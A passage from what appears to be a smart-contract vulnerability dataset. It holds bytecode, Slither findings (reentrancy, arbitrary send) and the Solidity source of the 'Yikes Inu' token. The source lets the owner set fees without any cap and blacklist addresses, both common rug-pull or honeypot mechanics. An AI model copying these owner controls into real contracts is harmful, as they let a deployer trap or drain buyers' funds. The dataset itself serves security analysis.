d60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610851565b6001600160a01b0382166110a75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610851565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561114a57506001600160a01b03821660009081526005602052604090205460ff16155b801561116657503360009081526005602052604090205460ff16155b61116f57600080fd5b6001600160a01b0383166111d35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610851565b6001600160a01b0382166112355760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610851565b600081116112975760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610851565b600080546001600160a01b038581169116148015906112c457506000546001600160a01b03848116911614155b15611675576009546001600160a01b0385811691161480156112f457506007546001600160a01b03848116911614155b801561131957506001600160a01b03831660009081526004602052604090205460ff16155b156114eb5760105460ff166113705760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610851565b600f5442141561139e576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d548211156113f05760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610851565b600e546113fc846108c3565b6114069084611db0565b11156114645760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610851565b6001600160a01b03831660009081526006602052604090206001015460ff166114cc576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff16158015611505575060105460ff165b801561151f57506009546001600160a01b03858116911614155b156116755761152f42600f611db0565b6001600160a01b038516600090815260066020526040902054106115a15760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610851565b60006115ac306108c3565b9050801561165e5760105462010000900460ff161561162f57600c54600954606491906115e1906001600160a01b03166108c3565b6115eb9190611dc8565b6115f59190611de7565b81111561162f57600c5460095460649190611618906001600160a01b03166108c3565b6116229190611dc8565b61162c9190611de7565b90505b600061163c600583611de7565b90506116488183611ccb565b915061165381611882565b61165c8261170e565b505b47801561166e5761166e476116d4565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806116b757506001600160a01b03841660009081526004602052604090205460ff165b156116c0575060005b6116cd85858584866118b2565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107f1573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061175257611752611ce2565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156117ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117cf9190611d48565b816001815181106117e2576117e2611ce2565b6001600160a01b0392831660209182029290920101526007546118089130911684610fe4565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611841908590600090869030904290600401611e09565b600060405180830381600087803b15801561185b57600080fd5b505af115801561186f573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6010805461ff00191661010017905580156118a4576118a43061dead83611108565b506010805461ff0019169055565b60006118be83836118d4565b90506118cc868686846118f8565b505050505050565b60008083156118f15782156118ec5750600a546118f1565b50600b545b9392505050565b60008061190584846119d5565b6001600160a01b038816600090815260026020526040902054919350915061192e908590611ccb565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461195e908390611db0565b6001600160a01b03861660009081526002602052604090205561198081611a09565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119c591815260200190565b60405180910390a3505050505050565b6000808060646119e58587611dc8565b6119ef9190611de7565b905060006119fd8287611ccb565b96919550909350505050565b30600090815260026020526040902054611a24908290611db0565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611a6457858101830151858201604001528201611a48565b81811115611a76576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108c057600080fd5b8035611aac81611a8c565b919050565b60008060408385031215611ac457600080fd5b8235611acf81611a8c565b946020939093013593505050565b60008060408385031215611af057600080fd5b50508035926020909101359150565b600080600060608486031215611b1457600080fd5b8335611b1f81611a8c565b92506020840135611b2f81611a8c565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b6957600080fd5b823567ffffffffffffffff80821115611b8157600080fd5b818501915085601f830112611b9557600080fd5b813581811115611ba757611ba7611b40565b8060051b604051601f19603f83011681018181108582111715611bcc57611bcc611b40565b604052918252848201925083810185019188831115611bea57600080fd5b938501935b82851015611c0f57611c0085611aa1565b84529385019392850192611bef565b98975050505050505050565b600060208284031215611c2d57600080fd5b81356118f181611a8c565b600060208284031215611c4a57600080fd5b5035919050565b80151581146108c057600080fd5b600060208284031215611c7157600080fd5b81356118f181611c51565b60008060408385031215611c8f57600080fd5b8235611c9a81611a8c565b91506020830135611caa81611a8c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611cdd57611cdd611cb5565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611d0c57611d0c611cb5565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d5a57600080fd5b81516118f181611a8c565b600080600060608486031215611d7a57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611da557600080fd5b81516118f181611c51565b60008219821115611dc357611dc3611cb5565b500190565b6000816000190483118215151615611de257611de2611cb5565b500290565b600082611e0457634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e595784516001600160a01b031683529383019391830191600101611e34565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220d140d256a352c7bd8f4e3ebf7b8149aa697c68a33c2822037f2425b15574d40a64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,250 |
0x8ed3d7c595a7ac5abd0285f1eafdbb4e74debe48
|
/**
ELON TWEET: https://twitter.com/elonmusk/status/1511455000391729155
YIKES INU
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract YikesInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Yikes Inu";
string private constant _symbol = "YIKES";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 6;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xceD11A64A36C5619C5c128B11Bdb94aD9a4Bf00f);
address payable private _marketingAddress = payable(0xceD11A64A36C5619C5c128B11Bdb94aD9a4Bf00f);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 30000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130bc565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613063565b610c50565b60405161041e9190612f94565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e9565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f94565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613063565b610e99565b6040516104c69190612f94565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f19190613048565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130bc565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f94565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e3d565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e9565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613116565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e95565b611125565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613063565b611143565b60405161063c9190612ef0565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d8565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613238565b611376565b6040516106b99190612f94565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e9565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613063565b61149c565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600981526020017f59696b657320496e750000000000000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165e565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d8161211a565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610ca961165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132c4565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f59494b4553000000000000000000000000000000000000000000000000000000815250905090565b610fd761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132c4565b60405180910390fd5b8060188190555050565b61107661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165e565b8484611831565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165e565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121f4565b50565b61124461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132c4565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132e4565b5b905060200201602081019061130c9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613342565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132c4565b60405180910390fd5b8060178190555050565b6114a461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073f